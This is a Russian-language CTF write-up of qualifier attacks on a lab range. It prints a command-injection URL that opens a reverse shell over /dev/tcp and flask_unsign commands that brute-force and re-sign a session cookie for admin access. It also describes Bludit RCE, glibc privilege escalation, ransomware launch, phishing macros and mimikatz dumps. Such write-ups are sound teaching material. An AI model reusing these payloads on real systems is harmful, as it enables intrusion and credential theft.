October 14

I. Разбор недопустимых событий с отборочных на Международные игры

@fefuctf @collapsz


Вступление

Всем привет!
Сегодня закончились отборочные на Международные игры по кибербезопасности, финал которых пройдет 30-31 октября. По результатам соревнований нам удалось войти в число команд, реализовавших все недопустимые события и уязвимости, заложенные на полигоне.

Scoreboard

И пока мы усердно готовимся к финалу, предлагаю вашему первую часть разбора реализованных нами недопустимых событий. Приятного прочтения!


Разведка

В начале соревнований нам был предоставлен скоуп — диапазон адресов с которыми мы можем работать. Начинается все со сканирования — первым делом мы провели icmp-сканирование с целью выявить "живые" хосты в рамках скоупа:

nmap -sn 10.124.249.0/27 -oN active_hosts

После чего запустили агрессивное сканирование хостов внешнего периметра:

nmap -A -iL active_hosts -oN external_scan

В результате получили следующую табличку:

Hosts

1. Дефейс информационного портала

Нашей первой жертвой стал портал city.standalone.stf с задачей выполнить дефейс – несанкционированное изменение главной страницы сайта.

Недопустимое событие 1

Сканирование показало открытый 80 порт, на котором нас ждал лендинг:

Landing city

В сурс коде мы нашли информацию об используемом Bludut-3.9.2:

Bludit-3.9.2

Да, да..

cve bludit

Далее мы воспользовались фреймворком Metasploit и получили удаленное выполнение кода на сервере:

RCE

Чуть позднее обнаружили cap на python3.9 и зарутили тачку:

www-data -> root

Ну и, наконец, сам дефейс. Недопустимое событие реализовано.

Defaced

2. Захват информационного портала

Следующей целью стал портал tube.standalone.stf с задачей запустить на нем вирус-шифровальщик от имени пользователя root:

Недопустимое событие 2

Сканирование вновь показала открытый 80 порт и мы вновь начали с изучения лендинга:

Tube landing

Беглое изучение сурсов привело нас на путь /api/getDate.php

getDate

Любому опытному веберу уже наверняка очевиден вектор – у нас тут RCE на блюдечке:

http://10.124.249.7/api/getTime.php?format=%25B%20%25d%2c%20%25Y%3b%24(id)|echo%20mmxy2159y9%20tgodln8uzu||a%20%23%27%20|%2fbin%2fbash%20-i%20%3E%26%20%2fdev%2ftcp%2f10.127.236.244%2f3334%200%3E%261||a%20%23|%22%20|echo%20mmxy2159y9%20tgodln8uzu||a%20%23

После получения реверс-шелла и спустя несколько дней перечисления ресурсов системы нам удалось выполнить повышение привилегий при помощи Looney Tunables, эксплуатирующего уязвимость в загрузчике glibc:

privesc

Ну и далее дело оставалось за малым – загрузить и запустить шифровальщик:

Success

3. Несанкционированный доступ к исследовательским данным

Плавно перемещаемся к следующему риску, на этот раз на ресурсе rnd.standalone.stf.

Недопустимое событие

Начинаем вновь в веба:

Home page

После регистрации и логина получаем доступ к функционалу смены пароля и недоступную для нас вкладку Researches.

Profile

Из интересного – какая-то сессионная кука session:

Cookie

Которая шустренько сбрутилась по словарю:

┌──(kali㉿kali)-[~/vskb]
└─$ python3 -m flask_unsign -u --wordlist=/usr/share/wordlists/rockyou.txt --cookie '.eJwdzkGuAjEIANC7dO2iQIHWy0wKlGhMNJnR1c-_uxN3b_n-ypb7Om7l-t4_61K2e5RrIbHZ0dMIQIcnnUKWdBPw7Mg5oy1NNgRV6yQjUebwOTCahkPtylObdkYJGj2gJoNUbxa4gJm6NkgWS4lQx8y1CAgbVvNyRj7H2n8baXopfuy5vV-P9Tx7Bo5VYuLAPkgTA6hXNTPVNtXGucImWv6_AfM-wA.Zu48cQ.PbC6DOitU7WFJg04BWp2vzNavoo' --no-literal-eval
[*] Session decodes to: {'_fresh': True, '_id': '36ba82cfb31179cf3fb3256fcb61cf825fad4e7f5b2177b8369f26a9ca92d47dc10875a7478526d398d10f5160c4bd2e15538741f56bf6dd7c2ffee3132420bc', '_user_id': 647, 'csrf_token': 'b1c206da2928937f2d13807bbb774a7b92172467'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 897024 attemptsyr!
b'key

Далее переподписываем куку с известным нам ключом:

python3 -m flask_unsign --secret 'key' --sign --cookie "{'_fresh': True, '_id': '36ba82cfb31179cf3fb3256fcb61cf825fad4e7f5b2177b8369f26a9ca92d47dc10875a7478526d398d10f5160c4bd2e15538741f56bf6dd7c2ffee3132420bc', '_user_id': 1, 'csrf_token': 'b1c206da2928937f2d13807bbb774a7b92172467'}"

И получаем доступ к панели админа и вкладке Researchers.

В истории версий одной из статьей находим ответ к заданию, тем самым реализуя это недопустимое событие:

Research

4. Утечка конфиденциальной информации

Последним событием в рамках сегодняшней статьи рассмотрим утечку конфиденциальной информации с компьютера финансового директора компании.

Риск

Единственное задание на инфраструктуру в рамках данного ивента, приступим =)

Первым делом в ходе разведки мы собрали пару почтовых адресов HR-сотрудников с сайта: [email protected] и [email protected]. Затем подготовили и отправили фишинговое письмо с встроенным reverse-shell макросом:

Phishing

В результате получили реверс-шеллы с обоих хостов:

s_boyle
o_lara

Далее мы пробросили meterpreter шелл и при помощи mimikatz сдампили пару паролей:

mimikatz

Проверив полученную учетку мы убедились, что нашли админа...

cme

Или нет?

cme

Продолжаем разведку, при помощи утилиты ldapdomaindump мы собрали информацию о хостах в домене:

ldapdomaindump

И открыли для себя наличие трастового домена sun.hte.stf, по этой причине наш админ и не оказался админом на втором хосте:

ldapdomaindump

Путешествуя по хостам, на одном из них была найдена база данных keepass – лакомый кусочек. Мы скрутили его при помощи john the ripper

Keepass

Внутри нашли пачку паролей, как раз админы домена sun.hte.stf – то что нужно!

Keepass

Падаем на RDP финансового директора и реализуем недопустимое событие

RDP

Заключение

На сегодня это все, в следующем материале разберем оставшиеся 3 недопустимых события – поломаем википедию, курьерскую службу и...казино! До встречи =)